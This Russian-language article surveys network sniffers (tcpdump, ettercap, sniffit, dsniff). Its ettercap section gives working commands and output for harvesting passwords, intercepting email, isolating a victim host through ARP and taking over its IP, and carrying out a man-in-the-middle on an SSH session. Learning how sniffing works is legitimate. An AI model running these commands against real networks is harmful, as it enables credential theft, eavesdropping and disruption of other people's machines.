div.main {margin-left: 20pt; margin-right: 20pt}
Сетевые нюхачи
Андрей Матвеев,
СофтТерра
Перехватчики сетевых пакетов могут не только использоваться
администратором сети для проверки и детального анализа правильности
конфигурации сетевого программного обеспечения, но и представляют собой
серьезную угрозу, поскольку могут перехватывать и расшифровывать имена и
пароли пользователей, конфиденциальную информацию, нарушать работу
отдельных компьютеров и сети в целом. Как бороться с этим недугом
программистской мысли мы попробуем разобраться в следующих статьях из
цикла "Linux обеспечивает безопасность сети".
В настоящее время аппаратная архитектура
Ethernet завоевала большую часть рынка при создании локальных сетей, хотя
существуют и другие аппаратные решения не на IEEE 802.3, такие как FDDI,
Token Ring (802.5), ARCNET, WAN, ATM и другие. Относительная недороговизна
в сочетании с технической скоростью передачи данных в 10, 100 и 1000
мегабит в секунду способствует ее популярности. Сеть Ethernet работает как
магистраль, через которую любой узел может пересылать пакеты на другой
узел, подключенный к тому же сегменту сети. Для перенаправления пакетов из
одной сети в другую необходимо пользоваться репитером, свитчем или хабом.
Процесс передачи фреймов обеспечивает межсетевой протокол, который не
зависит от оборудования и представляет различные сети в одну сеть. Но при
использовании этого протокола нет гарантий, что пакет достигнет адресата,
но решение этой задачи обеспечивает протокол TCP/IP, занимающийся
гарантированной доставкой пакетов. TCP не единственный протокол в стеке
протоколов TCP/IP, существует еще протокол UDP, который много быстрее
протокола TCP, так как не создает и не закрывает сеанс соединения, а узел
с помощью его просто отправляет данные в дейтаграммах другим узлам в сети.
Пакет, отправленный в широковещательной сети одним из узлов, принимается
всеми находящимися в этом сегменте сети машинами, но только узел
назначения, указанный в заголовке пакета, "смотрит" на него и начинает его
обработку (относится и к TCP и к UDP протоколам).
Анализаторы пакетов относятся к классу
инструментальных программных средств для мониторинга сетевого траффика и
выявления некоторых типов сетевых проблем. По умолчанию сетевой интерфейс
видит пакеты, предназначенные только для него. Однако анализаторы
устанавливают его в режим приема всех пакетов – promiscuous mode,
прослушивают сеть и заставляют сетевой интерфейс принимать все фреймы, вне
зависимости от того, кому они адресованы в сети. Для установки "вручную"
сетевого интерфейса в неразборчивый режим необходимо включить флаг
PROMISC: ifconfig eth0 promisc; для отключения promiscuous mode: ifconfig
eth0 –promisc .
Ярким примером инструментального
программного средства служит программа tcpdump, написанная Вэном Якобсоном и
поставляющаяся сейчас со многими дистрибутивами. Пример использования
tcpdump: tcpdump –i eth0 –n –vv –w /root/tcpdump.log где: -I –
сетевой интерфейс; -n – делаем числовой вывод адресов и номеров
портов; -vv – очень подробный вывод; -w – запись лога в
файл. Чтобы прочитать перехваченный траффик из лога (выводим не на
консоль, а в файл): tcpdump –r /root/tcpdump.log >
/root/tcpdump0.log
Фрагмент работы
tcpdump: 14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167:
udp 21 14:07:24.126187 > midian > 192.168.5.23: icmp: echo
request 14:07:24.126667 < 192.168.5.23 > midian: icmp: echo
reply
Первая строка показывает, что 192.168.5.17
пользуется программой для общения в локальной сети (делает
широковещательный запрос, используется порт 8167), вторая и третья
указывают, что хост midian проверяет машину с IP-адресом 192.168.5.23
программой ping.
Вынюхиватели пакетов несомненно полезны
для решения администратором сети известных и неизвестных проблем, но
существует и обратная сторона медали: неразборчивый режим приема пакетов
позволяет злоумышленнику получать весь траффик в сети и фильтровать его на
наличие имен, паролей пользователей, незашифрованных писем и т.д. Теперь
все только ограничивается фантазией хакера.
Ettercap Особенности этого
сниффера:
работает на Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, FreeBSD 4.x,
OpenBSD 2.[789], NetBSD 1.5.x, Mac OS (darwin 1.3);
перехват и расшифровка паролей TELNET, SSH1, FTP, POP, LOGIN, ICQ,
SMB, MySQL, HTTP, HTTPS, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5,
IMAP 4, VNC;
возможнось вставки символов в установленное соединение – будет
происходить эмуляция команд сервера и ответов клиента (работает только в
интерактивном режиме);
нетребовательность к библиотекам libpcap, libnet, libnids в отличии
от других снифферов;
поддержка плагинов; возможность написания собственных плагинов;
текстовый и псевдографический (основанный на ncurses) интерфейсы;
различные виды прослушивания; возможность использования фильтров;
работа в сети с активными интеллектуальными хабами.
Последнюю версию берем здесь:
Устанавливаем сниффер: ./configure make make
install Устанавливаем плагины: make plug-ins make
plug-ins_install
Некоторые опции сниффера: -a, -s, -m –
различные виды прослушивания; -N – запускать сниффер без
псевдографики; -z – запуск в спокойном режиме; -d – не
преобразовывать IP-адреса в имена; -i – сетевой интерфейс; -l –
вывести список хостов в сети; -C – собирать все имена и пароли
пользователей; -f – определение операционной системы удаленного
хоста; -p – работа с плагинами; -L – записывать в лог, имеющий
формат: год…месяц…день-collected-pass.log
Рассмотрим некоторые виды использования
этого сниффера. Перехватываем все имена пользователей и пароли в нашем
сегменте сети и записываем в лог: ettercap –NdzsCLi eth0 После
недолгого ожидания получаем необходимое ;) 14:43:45 192.168.5.29:1755
<--> 212.48.140.154:80 www USER: leshii PASS:
softerra http://www.nm.ru/gateway_chat.shtml Определяем операционную
систему хоста, например, с IP-адресом 192.168.5.24: ettercap – Ndzsfi
eth0 192.168.5.24 Смотрим установленные у нас плагины и описания к
ним: ettercap – N –p list Для активации плагина (например,
пропингуем какой-нибудь хост): ettercap – N –p ooze
192.168.5.33 Самый интересным на мой взгляд плагином является leech. Он
изолирует удаленный хост от сети. Пример работы этого плагина: Сначала
проверим, "жив" ли хост: andrushock# ping –v –c 4 192.168.5.23 PING
192.168.5.23 (192.168.5.23): 56 data bytes 64 bytes from 192.168.5.23:
icmp_seq=0 ttl=128 time=0.945 ms 64 bytes from 192.168.5.23: icmp_seq=1
ttl=128 time=0.562 ms 64 bytes from 192.168.5.23: icmp_seq=2 ttl=128
time=0.524 ms 64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520
ms
Запускаем плагин (операционная система
хоста жертвы – win98se): andrushock# ettercap –Ndp leech
192.168.5.23 Наблюдаем за процессом работы: Your IP: 192.168.5.21
MAC: 00:50:BF:4A:48:F3 Iface: ed0 Starting ./ec_leech.so
plugin... Building host list for netmask 255.255.255.0, please
wait... Sending 255 ARP request... Listening for
replies... Isolating host 192.168.5.23...Press return to stop Ждем
пару минут и смело нажимаем ^C, затем проверяем работу
плагина: andrushock# ping –v –c 4 192.168.5.23 PING 192.168.5.23
(192.168.5.23): 56 data bytes ---192.168.5.23 ping statistics--- 4
packets transmitted, 0 packet received, 100% packet
loss andrushock#
Все, сетевой интерфейс на машине жертвы на
некоторое время перестает работать, хотя операционная система и запущенные
приложения функционируют в том же нормальном режиме. Но этого "некоторого"
времени хватает, например, для того, чтобы заполучить себе IP-адрес
жертвы: ifconfig eth0 down ifconfig eth0 inet
192.168.5.23 ifconfig eth0 up И набираем команду, чтобы
удостовериться о нашем "новом" IP-адресе: ifconfig eth0
Перехват незашифрованных почтовых
сообщений. Вид записи: ./ettercap –Nzds <IP-адрес почтового
сервера>:<port почтового сервера> <IP- адрес
клиента> Пример перехвата исходящих писем: ./ettercap –Nzds
ANY:25 ANY > /root/sniff.smtp И смотрим через некоторое время, что
попалось в наши сети (привожу часть лога): сat /root/sniff.smtp Your
IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0 Press 'h'
for help... Sniffing (IP based): ANY:0 <--> ANY:25 18:19:14
192.168.5.23:1030 --> 80.68.244.5:25 18:19:14 80.68.244.5:25 -->
192.168.5.23:1030 Далее идет процесс аутентификации, письмо от кого,
адрес реципиента, их валидность и сам текст письма. To:
andrushock@fromru.com. Subject: test. Mime-Version:
1.0. Content-Type: text/plain;
charset=us-ascii. Content-Transfer-Encoding: 7bit. . Hello
andrushock,. . Test for Softerra. . -- . Best
regards,. Noname mailto: ******@pisem.net. Далее сообщение демона о
принятии письма к отправке и завершение почтовым сервером соединения.
Для перехвата входящих в локальную сеть
электронных писем используем: ./ettercap –Nzds ANY:110 ANY >
/root/sniff.pop3 или ./ettercap –Nzds ANY:143 ANY >
/root/sniff.imap4
Пример перехвата паролей во время сессии
SSH: На одной машине 192.168.5.21 стоит ettercap (назовем
злоумышленник), на втором 192.168.5.4 sshd (назовем сервер), а на третьем
192.168.5.22 SecureCRT (назовем клиент). ./ettercap –Ndl - выводим
список всех айпишников с МАС-адресами машин в сегменте локальной сети,
запоминаем только МАС-адреса сервера и клиента. Запускаем сниффер на
прослушивание и ждем когда клиент инициализирует сеанс Secure Shell с
сервером и начнется процесс аутентификации. В этом случае машина
злоумышленника является "мостом", через который будет проходить и
расшифровываться на лету весь проходящий траффик между клиентом и
сервером. Вид записи: ./ettercap –za <IP-адрес сервера>
<IP-адрес клиента> <MAC-адрес сервера> <MAC-адрес
клиента> ./ettercap –za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47
00:A0:24:93:61:3D Привожу "текстовый скриншот"
ettercap
0.5.4 SOURCE: 192.168.5.22 ? Filter: OFF doppleganger – illithid
(ARP Based) – ettercap DEST: 192.168.5.4 ? Active Dissector:
ON
??? hosts in this LAN (192.168.5.21 : 255.255.255.0) 1)
192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt
Your IP:
192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested USER:
testuser PASS: softerra
В левом нижнем углу лицезреем уже
расшифрованные имя пользователя и его пароль. Примечание: сетевой
интерфейс действительно ed0, так как программа тестировалась в
операционных системах Linux и FreeBSD.
Постоянно выходят новые версии Ettercap, в
которых исправляются ошибки (например, только несколько версий назад
исправили "глюк", когда после работы сетевой интерфейс, на котором был
запущен этот сниффер падал), добавляются новые возможности и переносы на
другие операционные системы, в отличие от программ описанных ниже, работа
над которыми уже давно не ведется, хотя в настоящее время на мой взгляд
эти анализаторы протоколов являются самыми популярными.
sniffit
Возможности этого сниффера:
работает на LINUX, SunOS/Solaris, Irix, FreeBSD, BSDi, DEC/OSF,
NetBSD;
перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP,
SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS,
X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA,
Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase
and Microsoft SQL;
использование конфигурационных файлов для создания фильтров;
имеет текстовый и псевдографический (основанный на ncurses)
интерфейсы.
Примечание: необходимо наличие libpcap
dsniff
Примечание: эту версию сниффера я не смог поставить на Red Hat Linux 7.0,
поэтому пришлось качать более
новую, но beta, где как раз исправлена ошибка компоновки для
дистрибутивов Red Hat Linux 6,7.
Возможности этого сниффера:
работает на OpenBSD (i386), Redhat Linux (i386), Solaris (sparc),
FreeBSD, Debian Linux, Slackware Linux, AIX, HP-UX;
перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP,
SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS,
X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA,
Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net,
Sybase, Microsoft SQL;
также в этот пакет входит набор "утилит" для перехвата сообщений AOL
Instant Messenger, ICQ 2000, IRC, Yahoo Messenger chat, прослушивания
ssh траффика, флуда локальной сети случайными MAC-адресами, ограничения
пропускной способности соединения, обрыва заданного TCP-соединения и
др.;
не имеет псевдографического интерфейса.
Есть еще одна интересная особенность этого сниффера. Наткнулся я на нее
совершенно случайно... cat dsniff.8 | grep ‘Dug Song’ >
/root/dug.song && man sshd | grep ‘Dug Song’ >>
/root/dug.song && clear && cat /root/dug.song И вот что
получилось:
Dug Song <dugsong@monkey.org> Niels
Provos, Theo de Raadt, and Dug Song.
Выводы делаем сами...
Примечание: необходимо наличие Berkeley
DB - http://www.sleepycat.com/ OpenSSL
- http://www.openssl.org/ libpcap - http://www.tcpdump.org/ libnids - http://www.packetfactory.net/Projects/Libnids/ libnet
- http://www.packetfactory.net/Projects/Libnet/
|